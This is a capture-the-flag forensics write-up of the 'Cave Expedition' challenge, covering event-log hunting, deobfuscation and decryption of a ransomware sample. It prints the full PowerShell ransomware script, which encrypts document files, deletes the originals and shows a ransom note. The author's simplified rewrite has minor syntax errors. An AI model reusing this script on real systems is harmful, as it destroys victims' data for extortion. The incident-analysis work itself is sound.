HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Hunt for Suspicious Events
  • Deobfuscation
  • Creating a Decryptor
  1. CYBER APOCALYPSE 2025: Tales from Eldoria

Cave Expedition

Personal Rating: Medium

PreviousA New HireNextEchoes in Stone

Last updated 1 month ago

The challenge starts with a folder full of Event Log files as well as the seemlingly encrypted file "map.pdf.secured". The goal has to be decrypting the PDF file.

Hunt for Suspicious Events

The first thing that comes to my mind when presented with EVTX files after an incident is to run a chainsaw hunt on the files. And so I did:

./chainsaw-x64-linux hunt /Cave\ Expedition/forensics_cave_expedition/Logs/ -s sigma/ --mapping mappings/sigma-event-logs-all.yml | tee chainsaw-hunt.txt

./chainsaw-x64-linux hunt /Cave\ Expedition/forensics_cave_expedition/Logs/ --json -s sigma/ --mapping mappings/sigma-event-logs-all.yml | jq | tee chainsaw-hunt.json    

I ran it two times, with raw output and with JSON output and I piped the output to a file as well.

Numerous detections indicated malicious actions that were logged. This is what I could see at first glance:

  • certutil was used to infiltrate the script avAFGrw41.ps1 to C:\Users\developer56546756\Desktop\avAFGrw41.ps1 2025-01-28 10:31:19

  • wevutil was used to evade ETW 2025-01-28 10:31:22

  • We have a user developer56546756

  • avAFGrw41.ps1 was executed with powershell1.0 2025-01-28 10:31:19

  • LaZagne was executed 2025-01-28 10:31:24

  • Victim: "WORKSTATION5678\developer56546756"

I filtered the logged commandlines from the chainsaw output to get a better overview and potentially extract some of the Powershell scripts that were likely executed:

cat chainsaw-hunt.json | grep -E 'CommandLine|ParentProcessId|ProcessId' > commandlines+PIDs.txt

Deobfuscation

There were multiple similar commands that all seemed to concatenate a base64 string in the variable "b". I decoded "b", by piping it to base64 -d. The result was this script:

$k34Vm = "Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"
$m78Vo = "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpZT1VSIEZJTEVTIEhBVkUgQkVFTiBFTkNSWVBURUQgQlkgQSBSQU5TT01XQVJFCiogV2hhdCBoYXBwZW5lZD8KTW9zdCBvZiB5b3VyIGZpbGVzIGFyZSBubyBsb25nZXIgYWNjZXNzaWJsZSBiZWNhdXNlIHRoZXkgaGF2ZSBiZWVuIGVuY3J5cHRlZC4gRG8gbm90IHdhc3RlIHlvdXIgdGltZSB0cnlpbmcgdG8gZmluZCBhIHdheSB0byBkZWNyeXB0IHRoZW07IGl0IGlzIGltcG9zc2libGUgd2l0aG91dCBvdXIgaGVscC4KKiBIb3cgdG8gcmVjb3ZlciBteSBmaWxlcz8KUmVjb3ZlcmluZyB5b3VyIGZpbGVzIGlzIDEwMCUgZ3VhcmFudGVlZCBpZiB5b3UgZm9sbG93IG91ciBpbnN0cnVjdGlvbnMuCiogSXMgdGhlcmUgYSBkZWFkbGluZT8KT2YgY291cnNlLCB0aGVyZSBpcy4gWW91IGhhdmUgdGVuIGRheXMgbGVmdC4gRG8gbm90IG1pc3MgdGhpcyBkZWFkbGluZS4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo="
$a53Va = "NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="
$b64Vb = "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"

$e90Vg = @{}
$f12Vh = @{}

For ($x = 65; $x -le 90; $x++) {
    $e90Vg[([char]$x)] = if($x -eq 90) { [char]65 } else { [char]($x + 1) }
}

function n90Vp {
     [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m78Vo))
}

function l56Vn {
    return (a12Vc $k34Vm).Split(" ")
}

For ($x = 97; $x -le 122; $x++) {
    $e90Vg[([char]$x)] = if($x -eq 122) { [char]97 } else { [char]($x + 1) }
}

function a12Vc {
    param([string]$a34Vd)
    return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($a34Vd))
}

$c56Ve = a12Vc $a53Va
$d78Vf = a12Vc $b64Vb

For ($x = 48; $x -le 57; $x++) {
    $e90Vg[([char]$x)] = if($x -eq 57) { [char]48 } else { [char]($x + 1) }
}

$e90Vg.GetEnumerator() | ForEach-Object {
    $f12Vh[$_.Value] = $_.Key
}

function l34Vn {
    param([byte[]]$m56Vo, [byte[]]$n78Vp, [byte[]]$o90Vq)
    $p12Vr = [byte[]]::new($m56Vo.Length)
    for ($x = 0; $x -lt $m56Vo.Length; $x++) {
        $q34Vs = $n78Vp[$x % $n78Vp.Length]
        $r56Vt = $o90Vq[$x % $o90Vq.Length]
        $p12Vr[$x] = $m56Vo[$x] -bxor $q34Vs -bxor $r56Vt
    }
    return $p12Vr
}

function s78Vu {
    param([byte[]]$t90Vv, [string]$u12Vw, [string]$v34Vx)

    if ($t90Vv -eq $null -or $t90Vv.Length -eq 0) {
        return $null
    }

    $y90Va = [System.Text.Encoding]::UTF8.GetBytes($u12Vw)
    $z12Vb = [System.Text.Encoding]::UTF8.GetBytes($v34Vx)
    $a34Vc = l34Vn $t90Vv $y90Va $z12Vb

    return [Convert]::ToBase64String($a34Vc)
}

function o12Vq {
    param([switch]$p34Vr)

    try {
        if ($p34Vr) {
            foreach ($q56Vs in l56Vn) {
                $d34Vp = "dca01aq2/"
                if (Test-Path $d34Vp) {
                    Get-ChildItem -Path $d34Vp -Recurse -ErrorAction Stop |
                        Where-Object { $_.Extension -match "^\.$q56Vs$" } |
                        ForEach-Object {
                            $r78Vt = $_.FullName
                            if (Test-Path $r78Vt) {
                                $s90Vu = [IO.File]::ReadAllBytes($r78Vt)
                                $t12Vv = s78Vu $s90Vu $c56Ve $d78Vf
                                [IO.File]::WriteAllText("$r78Vt.secured", $t12Vv)
                                Remove-Item $r78Vt -Force
                            }
                        }
                }
            }
        }
    }
    catch {}
}

if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
    o12Vq -p34Vr
    n90Vp
}

This indicates that we found the encryption program that encrypted the "map.pdf.secured":

I started deobfuscating the script. These hashtables and For-loops had actually no purpose and could be removed entirely. It appeared that the hashtable1 is created, altered in three for-loops and then inverted into hashtable2. However, none of these hashtables are ever used.

A friend of mine explained that the $p34Vr switch is set as a flag when executed in line 73 of the screenshot below. This just sets the switch/bool $p34Vr, which is a function parameter, to true if it is given when executing the function. Since it is given in this case and the function only does anything if it is given, we can remove the flag, the parameter and the if statement.

This appears to be the encryption function, at least the main part of it:

The main function, if the path "dca01aq2/" exists, for txt, doc, docx and pdf files and, if they exist, encrypts them, stores that in .secured and removes the old one. This is typical ransomware behavior.

After renaming variables and simplifying the script, this is the final deobfuscated result:

function printransomnote {
     "-------------------------------------------------------------------------------------------------
YOUR FILES HAVE BEEN ENCRYPTED BY A RANSOMWARE
* What happened?
Most of your files are no longer accessible because they have been encrypted. Do not waste your time trying to find a way to decrypt them; it is impossible without our help.
* How to recover my files?
Recovering your files is 100% guaranteed if you follow our instructions.
* Is there a deadline?
Of course, there is. You have ten days left. Do not miss this deadline.
-------------------------------------------------------------------------------------------------"
}

function b64decode {
    param([string]b64code)
    return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(b64code))
}

function encrypt {
    param([byte[]]$input1, [byte[]]$input2, [byte[]]$input3)
    $cipher = [byte[]]::new($input1.Length)
    for ($x = 0; $x -lt $input1.Length; $x++) {
        $streambyte1 = $input2[$x % $input2.Length]
        $streambyte2 = $input3[$x % $input3.Length]
        $cipher[$x] = $input1[$x] -bxor $streambyte1 -bxor $streambyte2
    }
    return $cipher
}

function runencryptor {
    param([byte[]]$invar1, [string]$invar2, [string]$invar3)

    if ($invar1 -eq $null -or $invar1.Length -eq 0) {
        return $null
    }

    $invar2UTF = [System.Text.Encoding]::UTF8.GetBytes($invar2)
    $invar3UTF = [System.Text.Encoding]::UTF8.GetBytes($invar3)
    $finalcipher = encrypt $invar1 $invar2UTF $invar3UTF

    return [Convert]::ToBase64String($finalcipher)
}

function mainfunc {
    try {
            foreach ($doctype in @('*.txt','*.doc','*.docx','*.pdf') {
                path1 = "dca01aq2/"
                if (Test-Path path1) {
                    Get-ChildItem -Path path1 -Recurse -ErrorAction Stop |
                        Where-Object { $_.Extension -match "^\.$doctype$" } |
                        ForEach-Object {
                            $file = $_.FullName
                            if (Test-Path $file) {
                                $filebytes = [IO.File]::ReadAllBytes($file)
                                $filecipher = runencryptor $filebytes $key1 $key2
                                [IO.File]::WriteAllText("$file.secured", $filecipher)
                                Remove-Item $file -Force
                            }
                        }
                }
            }
    }
    catch {}
}

$key1 = "5xsGObjHQiPAGdzLgBEeI8u0YSJq76Eiyuf8wARS7qbtP4ntQY50yH8dzKZeCAsZ"
$key2 = b64decode "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"

if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
    mainfunc
    printransomnote
}

Creating a Decryptor

We have to understand the encryption program to create a decryptor. This part indicates, that we have a stream cipher here. $streambyte1 will be the byte of the first key (input2) at the next index, if the message is longer than the key. If the message is 61 Bytes and the key is 60 Bytes, then the key[0] will be used to encrypt the last Byte.

Since I did this CTF together with a friend, he wrote the decryption program. This is what it looks like:

function from_b64 {
    param([string]$b64_input_string)
    return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b64_input_string))
}

$key_a = "5xsGObjHQiPAGdzLgBEeI8u0YSJq76Eiyuf8wARS7qbtP4ntQY50yH8dzKZeCAsZ"
$key_b = from_b64 "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"

function decrypt {
    param([byte[]]$data, [string]$key_a, [string]$key_b)

    if ($data -eq $null -or $data.Length -eq 0) {
        return $null
    }

    $key_a_bytes = [System.Text.Encoding]::UTF8.GetBytes($key_a)
    $key_b_bytes = [System.Text.Encoding]::UTF8.GetBytes($key_b)

    $data_dec = [byte[]]::new($data.Length)

    for ($x = 0; $x -lt $data.Length; $x++) {
        $key_a_byte_x = $key_a_bytes[$x % $key_a_bytes.Length]
        $key_b_byte_x = $key_b_bytes[$x % $key_b_bytes.Length]
        $data_dec[$x] = $data[$x] -bxor $key_a_byte_x -bxor $key_b_byte_x
    }

    return $data_dec
}

$file_content_enc_b64 = [IO.File]::ReadAllText('map.pdf.secured')
$file_content_enc = [Convert]::FromBase64String($file_content_enc_b64)
$file_content_dec = decrypt $file_content_enc $key_a $key_b
[IO.File]::WriteAllBytes("map.pdf", $file_content_dec)

This could be used to decrypt the PDF file, which indeed contained the flag.

EVTX files
Suspicious Commandlines
Encrypted File Extension
Obfuscated Features with no Function
Deobfuscating Further
Encryption Function
Main Function of the Ransomware
Encryption Process